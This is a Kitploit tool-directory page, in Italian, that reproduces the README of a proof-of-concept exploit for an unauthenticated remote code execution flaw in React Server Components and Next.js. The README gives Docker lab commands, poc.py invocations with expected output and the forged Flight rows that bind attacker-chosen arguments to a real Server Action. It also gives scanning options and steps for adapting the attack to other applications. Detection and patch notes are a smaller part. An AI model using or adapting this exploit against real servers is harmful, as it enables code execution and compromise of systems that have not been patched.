Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-126187-poc — CVE-2026-126187 RCE non autenticato nei React Server Components - PoC e laboratorio Docker per GHSA-xqc2-xf4c-x3h3 / GHSA-673q-mjm6-r5xr | Kitploit
Strumenti/GitHubGitHub/briskets/cve-2026-126187-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingLab e Pratica
GitHub
briskets/cve-2026-126187-poc

CVE-2026-126187-poc

CVE-2026-126187 RCE non autenticato nei React Server Components - PoC e laboratorio Docker per GHSA-xqc2-xf4c-x3h3 / GHSA-673q-mjm6-r5xr

Vedi Repository
36119 giorni faRevisionato da Kitploit
Condividi

CVE-2026-126187 GHSA-xqc2-xf4c-x3h3 — PoC RCE per React Server Components

Codice exploit di ricerca. Questo repository contiene un proof of concept funzionante e un laboratorio Docker intenzionalmente vulnerabile. Usalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a eseguire test.

Un PoC Python minimale e un laboratorio Docker per l'esecuzione remota di codice non autenticata in React Server Components tracciata come GHSA-xqc2-xf4c-x3h3 (React) e GHSA-673q-mjm6-r5xr (Next.js).

In sintesi

GravitàCritica — CVSS v4 9.5
Vettore di attaccoRete, non autenticato, nessuna interazione utente
Pacchetti Reactreact-server-dom-webpack, -parcel, -turbopack
React interessato19.0.0–19.0.8, 19.1.0–19.1.9, 19.2.0–19.2.8, 19.3.0
React corretto19.0.9, 19.1.10, 19.2.9, 19.3.1
Next.js interessato>= 16.0.0, <= 16.4.0 (App Router + Cache Components)
Next.js corretto16.4.1
CVECVE-2026-126187
PrerequisitoUna funzione use cache che restituisce più typed array più un valore controllato dall'attaccante

L'advisory React descrive il trigger come "casi estremamente rari in cui le risposte trasportano più typed array e un valore controllato dall'attaccante." Il PoC riproduce esattamente questa configurazione.

Causa principale

Il serializzatore Flight gestisce più viste typed-array su un unico ArrayBuffer condiviso. Nelle versioni vulnerabili:

  1. La prima vista provoca il trasferimento/detach del buffer condiviso.
  2. Una vista successiva viene serializzata con il suo header di lunghezza ma senza payload.
  3. Quando lo stream in cache viene riletto, il decoder consuma la lunghezza dichiarata, legge oltre i limiti nei byte forniti dal chiamante e riprende il parsing da lì.
  4. Righe Flight contraffatte a quell'offset di ripresa invocano una vera Server Action con argomenti scelti dall'attaccante.

La vulnerabilità risiede nel serializzatore/deserializzatore RSC, non in una route API personalizzata. Il PoC non necessita di un POST multipart né di un header Next-Action.

Struttura del repository

PercorsoScopo
poc.pyPoC Python 3.8+ senza dipendenze: scoperta delle action, costruzione del payload, richiesta, parsing del risultato
lab/Laboratorio Docker Next.js 16.4.0 + React 19.3.0 che attiva il desync
compose.yamlConfigurazione Compose opzionale per i laboratori vulnerabile e corretto
MakefileScorciatoie per compilare, eseguire e verificare il PoC

Requisiti

  • PoC: Python 3.8+, solo libreria standard
  • Laboratorio: Docker
  • Runtime del laboratorio: Node.js 22 (gestito dall'immagine del container)

Avvio rapido

Compila ed esegui il laboratorio vulnerabile:

docker build -t ghsa-xqc2-lab ./lab
docker run --rm -p 127.0.0.1:3100:3100 ghsa-xqc2-lab

In un altro terminale:

python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'

Previsto:

[*] action id: <hex>
[*] blob: <n> bytes, forged rows at offset 8184, args=['id; uname -a']
[*] HTTP 200
[+] Server Action executed with attacker-chosen arguments
================ action output ================
uid=... 
...
==============================================

L'azione del lab esegue il proprio argomento tramite /bin/sh, quindi --cmd è il comando che si vuole dimostrare. Contro un'applicazione reale, --cmd deve essere qualunque cosa si aspetti la Server Action di quell'applicazione; il PoC raggiunge l'azione, e l'azione decide cosa significa l'argomento.

Il lab espone anche GET /api/payload come controllo di desync:

  • build vulnerabile: 500 {"ok":false,"error":"Connection closed."}
  • build corretta: 200 con entrambi i blocchi da 8 KB intatti

Alternativa con Compose

docker compose up --build lab                 # vulnerable on 127.0.0.1:3100
docker compose --profile patched up --build lab-patched  # patched on 127.0.0.1:3101

Verifica della build corretta

Crea lo stesso lab con la versione di Next.js corretta:

docker build --build-arg NEXT_VERSION=16.4.1 -t ghsa-xqc2-lab-patched ./lab
docker run --rm -p 127.0.0.1:3101:3100 ghsa-xqc2-lab-patched

Poi:

python3 poc.py http://127.0.0.1:3101 --cmd id
# [-] blob stayed opaque (Uint8Array(...)); target appears patched

Testato localmente: [email protected] + [email protected] restituisce l'output dell'azione; [email protected] lascia il blob opaco e nessuna azione viene eseguita.

Utilizzo del PoC

python3 poc.py <url> [options]
OpzioneDescrizione
--cmd <string>Argomento passato alla Server Action di destinazione (predefinito: id)
--args-json <json>Array JSON di argomenti dell'azione; sostituisce --cmd
--action-id <hex>Id esplicito della Server Action; salta la fase di scoperta
--path <path>Pagina la cui lookup in cache accetta ?annotation= (predefinito: /)
--chunk-id <id>Id del chunk Flight del valore influenzato dal chiamante (predefinito: 4, layout del lab)
--overread <n>Byte consumati dopo la view scartata (predefinito: 8192, layout del lab)
--scanProva id di chunk e dimensioni di overread comuni
--chunk-ids <list>Id dei chunk per --scan (predefinito: 1-8)
--overreads <list>Dimensioni di overread per --scan
--timeout <sec>Timeout di rete (predefinito: 30)
--insecureNon verificare i certificati TLS

Come funziona il PoC

  1. Scopre l'action id. Legge la pagina e i suoi chunk client alla ricerca di $ACTION_ID_… o createServerReference(..., "<hex>").
  2. Costruisce il blob. Riempie annotation con byte posizionati a overread - len("<chunk>:o<hexlen>,"), usando un ciclo a punto fisso perché la lunghezza dell'header modifica l'offset di ripresa. I valori predefiniti (4, 8192) corrispondono al lab; usa --chunk-id e --overread per un layout in cache diverso.
  3. Forgia le righe. 6:["<cmd>"], 5:{"id":"<action>","bound":"$@6"}, 4:{"then":"$h5"}. Il valore in cache diventa un thenable il cui then è la vera Server Action.
  4. Richiesta GET /?annotation=<base64> e lettura dell'output dell'azione dal riepilogo <pre> renderizzato.

Adattamento a un'altra applicazione

CVE-2026-126187 non colpisce ogni applicazione Next.js. L'applicazione deve avere una funzione use cache che restituisce più typed array in modo da attivare la desincronizzazione del serializer, e la pagina in cache deve essere in grado di risolvere una Server Action.

  • Action ID: scoperto automaticamente dalla pagina o dai suoi chunk client.
  • Chunk id e overread: con accesso al codice sorgente, leggili dall'ordine di ritorno della funzione in cache e dalla lunghezza in byte della view scartata. Senza il codice sorgente, --scan prova gli id di chunk 1-8 e le dimensioni di view comuni; aggiungi dimensioni insolite con --overreads.
  • Argomenti dell'azione: ispeziona il componente client che chiama l'azione, quindi passa la stessa struttura con --args-json.

Rilevamento

  • Log delle richieste: un parametro di query annotation in base64 insolitamente lungo su una richiesta di pagina.

  • Il corpo della risposta contiene un blocco <pre> con l'output serializzato della Server Action.

  • L'HTML o i chunk client espongono $ACTION_ID_… o createServerReference(..., "<hex>").

  • Controlla le build RSC installate per il marcatore della correzione:

    grep -c getBackingBlob \
      node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.production.js
    # 0 = vulnerable; > 0 = fixed
    

Remediation

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    968
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    556
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    347
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    346
  • 5

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    319
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    297

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →